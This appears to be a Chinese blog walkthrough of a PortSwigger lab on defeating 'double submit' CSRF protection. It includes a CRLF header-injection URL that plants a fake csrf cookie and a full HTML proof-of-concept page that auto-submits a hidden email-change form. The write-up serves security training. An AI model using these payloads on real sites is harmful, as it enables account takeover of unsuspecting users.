Lab: CSRF where token is duplicated in cookie CSRF,其中令牌在 cookie 中重复

在上述漏洞的进一步变体中,一些应用程序不维护任何已发布令牌的服务器端记录,而是在 cookie 和请求参数中复制每个令牌。在验证后续请求时,应用程序只需验证请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,并且被提倡是因为它易于实现并且避免了任何服务器端状态的需要:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得他们自己的有效令牌。他们只是发明了一个令牌(可能是所需的格式,如果正在检查),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。

本实验室的电子邮件更改功能易受 CSRF 攻击。它试图使用不安全的“双重提交”CSRF 预防技术。

要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

您可以使用以下凭据登录自己的帐户: wiener:peter

方法

使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察csrfbody 参数的值只是通过将它与csrfcookie进行比较来验证。image
执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。image
创建一个 URL,利用此漏洞将虚假csrfcookie 注入受害者的浏览器:
/?search=test%0d%0aSet-Cookie:%20csrf=fakeimage
按照没有防御实验室 的CSRF 漏洞解决方案中的说明创建并托管概念验证漏洞利用,确保您的CSRF 令牌设置为“假”。应该从电子邮件更改请求中创建漏洞利用。
删除脚本块,改为添加以下代码以注入 cookie 并提交表单:
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

代码如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac131fb51eff23f3804fc2d8002100d1.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener&#64;administrator&#46;net" />
      <input type="hidden" name="csrf" value="1234abcd" />
    </form>
<img src="https://ac131fb51eff23f3804fc2d8002100d1.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234abcd" onerror="document.forms[0].submit();"/>
  </body>
</html>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zeker62

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值